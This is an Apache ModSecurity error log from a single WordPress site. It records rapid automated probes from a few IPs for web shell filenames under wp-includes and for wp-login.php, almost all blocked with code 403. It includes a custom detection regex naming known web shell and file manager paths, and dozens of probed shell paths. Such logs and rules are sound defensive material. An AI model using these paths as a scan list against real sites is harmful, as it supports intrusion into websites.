[Mon Jan 05 16:53:39.785060 2026] [:error] [pid 54081:tid 54101] [client 45.67.97.20:22491] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVt8E1L4jLgtF-b9w4dPGgAAAVE"]
[Mon Jan 05 16:53:40.607979 2026] [:error] [pid 28407:tid 28417] [client 45.67.97.22:44525] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aVt8FNercd3ptydUzM0OfwAAAYc"]
[Mon Jan 05 16:53:41.450822 2026] [:error] [pid 5534:tid 5552] [client 45.67.97.20:52575] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aVt8FZNs9XmbR6unB0xysAAAAAk"]
[Mon Jan 05 16:53:42.281888 2026] [:error] [pid 5536:tid 5611] [client 45.67.97.20:36353] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aVt8FgRtMZNG6xI8yDyiugAAAI4"]
[Mon Jan 05 16:53:43.149064 2026] [:error] [pid 5536:tid 5616] [client 45.67.97.19:20043] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aVt8FwRtMZNG6xI8yDyivAAAAJM"]
[Mon Jan 05 16:53:44.521567 2026] [:error] [pid 28407:tid 28421] [client 45.67.97.20:64097] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aVt8GNercd3ptydUzM0OhAAAAYo"]
[Mon Jan 05 16:53:46.849522 2026] [:error] [pid 5632:tid 5649] [client 45.67.97.19:25469] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aVt8GoN3ZWvlOh-nbt-PHQAAAMU"]
[Mon Jan 05 16:53:49.045729 2026] [:error] [pid 5535:tid 5586] [client 45.67.97.195:59615] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aVt8HWnkedMjhVX0PTU_PwAAAFA"]
[Mon Jan 05 16:53:51.548462 2026] [:error] [pid 28407:tid 28435] [client 45.67.97.22:39685] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aVt8H9ercd3ptydUzM0OjQAAAZg"]
[Mon Jan 05 16:53:53.473352 2026] [:error] [pid 54081:tid 54091] [client 45.67.97.22:26181] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aVt8IVL4jLgtF-b9w4dPKQAAAUc"]
[Mon Jan 05 16:53:57.737589 2026] [:error] [pid 6680:tid 6704] [client 45.67.97.20:37939] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aVt8JaE58uNoazzTmx20TQAAARY"]
[Mon Jan 05 16:54:00.000116 2026] [:error] [pid 5534:tid 5553] [client 45.67.97.22:52289] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aVt8J5Ns9XmbR6unB0xy0gAAAAo"]
[Mon Jan 05 16:54:05.434395 2026] [:error] [pid 6680:tid 6693] [client 45.67.97.20:39527] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aVt8LaE58uNoazzTmx20YwAAAQs"]
[Mon Jan 05 16:54:09.896919 2026] [:error] [pid 5632:tid 5659] [client 45.67.97.22:48413] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aVt8MYN3ZWvlOh-nbt-PNAAAAM8"]
[Mon Jan 05 16:54:13.485396 2026] [:error] [pid 28407:tid 28414] [client 45.67.97.19:62425] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aVt8Ndercd3ptydUzM0OoQAAAYQ"]
[Mon Jan 05 16:54:15.133388 2026] [:error] [pid 5535:tid 5584] [client 45.67.97.195:28171] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aVt8N2nkedMjhVX0PTU_YgAAAE4"]
[Mon Jan 05 16:54:16.465131 2026] [:error] [pid 5536:tid 5613] [client 45.67.97.195:39711] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aVt8OARtMZNG6xI8yDyi3wAAAJA"]
[Mon Jan 05 16:54:17.421686 2026] [:error] [pid 6680:tid 6692] [client 45.67.97.22:61877] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aVt8OaE58uNoazzTmx20bAAAAQo"]
[Mon Jan 05 16:54:18.374564 2026] [:error] [pid 28407:tid 28416] [client 45.67.97.19:55365] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVt8Otercd3ptydUzM0OpgAAAYY"]
[Mon Jan 05 16:54:21.715359 2026] [:error] [pid 6680:tid 6692] [client 45.67.97.19:52249] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aVt8PaE58uNoazzTmx20fAAAAQo"]
[Mon Jan 05 16:54:22.781290 2026] [:error] [pid 5535:tid 5592] [client 45.67.97.20:20661] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aVt8PmnkedMjhVX0PTU_bwAAAFY"]
[Mon Jan 05 16:54:23.962857 2026] [:error] [pid 5536:tid 5617] [client 45.67.97.22:40289] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVt8PwRtMZNG6xI8yDyi5gAAAJQ"]
[Mon Jan 05 16:54:35.272699 2026] [:error] [pid 6680:tid 6703] [client 45.67.97.195:30259] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aVt8S6E58uNoazzTmx20mQAAARU"]
[Mon Jan 05 16:54:38.092013 2026] [:error] [pid 6680:tid 6705] [client 45.67.97.20:57993] [client 45.67.97.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.20, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aVt8TqE58uNoazzTmx20oQAAARc"]
[Mon Jan 05 16:54:44.109370 2026] [:error] [pid 6680:tid 6685] [client 45.67.97.20:57993] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aVt8VKE58uNoazzTmx20swAAAQM"]
[Mon Jan 05 16:54:45.751896 2026] [:error] [pid 5535:tid 5579] [client 45.67.97.19:49929] [client 45.67.97.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aVt8VWnkedMjhVX0PTU_kAAAAEk"]
[Mon Jan 05 16:54:47.621987 2026] [:error] [pid 5535:tid 5580] [client 45.67.97.19:49929] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aVt8V2nkedMjhVX0PTU_mwAAAEo"]
[Mon Jan 05 16:54:53.238327 2026] [:error] [pid 28407:tid 28432] [client 45.67.97.19:47337] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aVt8Xdercd3ptydUzM0O4QAAAZU"]
[Mon Jan 05 16:55:00.192801 2026] [:error] [pid 5535:tid 5575] [client 45.67.97.20:24879] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aVt8ZGnkedMjhVX0PTU_qQAAAEU"]
[Mon Jan 05 16:55:02.140539 2026] [:error] [pid 5536:tid 5605] [client 45.67.97.22:53805] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aVt8ZgRtMZNG6xI8yDyjLwAAAIg"]
[Mon Jan 05 16:55:10.293629 2026] [:error] [pid 28407:tid 28410] [client 45.67.97.20:38663] [client 45.67.97.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.20, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aVt8btercd3ptydUzM0O-wAAAYA"]
[Mon Jan 05 16:55:11.841671 2026] [:error] [pid 28407:tid 28422] [client 45.67.97.20:38663] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aVt8b9ercd3ptydUzM0O_QAAAYs"]
[Mon Jan 05 16:55:22.725541 2026] [:error] [pid 5535:tid 5576] [client 45.67.97.19:30901] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aVt8emnkedMjhVX0PTU_6wAAAEY"]
[Mon Jan 05 16:55:26.296507 2026] [:error] [pid 54081:tid 54100] [client 45.67.97.22:57207] [client 45.67.97.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aVt8flL4jLgtF-b9w4dPvwAAAVA"]
[Mon Jan 05 16:55:29.689990 2026] [:error] [pid 54081:tid 54101] [client 45.67.97.22:57207] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aVt8gVL4jLgtF-b9w4dPyAAAAVE"]
[Mon Jan 05 16:55:32.732698 2026] [:error] [pid 5536:tid 5607] [client 45.67.97.19:32827] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aVt8hARtMZNG6xI8yDyjXwAAAIo"]
[Mon Jan 05 16:55:38.826051 2026] [:error] [pid 5536:tid 5617] [client 45.67.97.20:41629] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aVt8igRtMZNG6xI8yDyjagAAAJQ"]
[Mon Jan 05 16:55:42.294918 2026] [:error] [pid 28407:tid 28433] [client 45.67.97.22:49515] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aVt8jtercd3ptydUzM0PSgAAAZY"]
[Mon Jan 05 16:55:43.133479 2026] [:error] [pid 54081:tid 54090] [client 45.67.97.20:61157] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aVt8j1L4jLgtF-b9w4dP3AAAAUY"]
[Mon Jan 05 16:55:46.971820 2026] [:error] [pid 5534:tid 5557] [client 45.67.97.20:30045] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aVt8kpNs9XmbR6unB0xzhAAAAA4"]
[Mon Jan 05 16:55:48.722172 2026] [:error] [pid 28407:tid 28435] [client 45.67.97.195:63263] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aVt8lNercd3ptydUzM0PUwAAAZg"]
[Mon Jan 05 16:55:52.305514 2026] [:error] [pid 5534:tid 5559] [client 45.67.97.195:26755] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aVt8mJNs9XmbR6unB0xzpAAAABA"]
[Mon Jan 05 16:55:55.781883 2026] [:error] [pid 5536:tid 5608] [client 45.67.97.20:50599] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aVt8mwRtMZNG6xI8yDyjeAAAAIs"]
[Mon Jan 05 16:55:58.645779 2026] [:error] [pid 6680:tid 6690] [client 45.67.97.22:64739] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aVt8nqE58uNoazzTmx21FwAAAQg"]
[Mon Jan 05 16:56:01.701110 2026] [:error] [pid 28407:tid 28421] [client 45.67.97.20:33171] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aVt8odercd3ptydUzM0PaAAAAYo"]
[Mon Jan 05 16:56:07.984034 2026] [:error] [pid 5536:tid 5600] [client 45.67.97.22:52369] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aVt8pwRtMZNG6xI8yDyjjwAAAIM"]
[Mon Jan 05 16:56:09.327816 2026] [:error] [pid 54081:tid 54095] [client 45.67.97.22:30453] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aVt8qVL4jLgtF-b9w4dP_AAAAUs"]
[Mon Jan 05 16:56:10.436505 2026] [:error] [pid 54081:tid 54084] [client 45.67.97.195:22641] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aVt8qlL4jLgtF-b9w4dP_gAAAUA"]
[Mon Jan 05 16:56:12.188572 2026] [:error] [pid 6680:tid 6689] [client 45.67.97.19:54891] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aVt8rKE58uNoazzTmx21IwAAAQc"]
[Mon Jan 05 16:56:16.162613 2026] [:error] [pid 5534:tid 5546] [client 45.67.97.20:45775] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aVt8sJNs9XmbR6unB0xz7gAAAAM"]
[Mon Jan 05 16:56:18.947744 2026] [:error] [pid 5534:tid 5561] [client 45.67.97.19:59617] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVt8spNs9XmbR6unB0x0DQAAABI"]
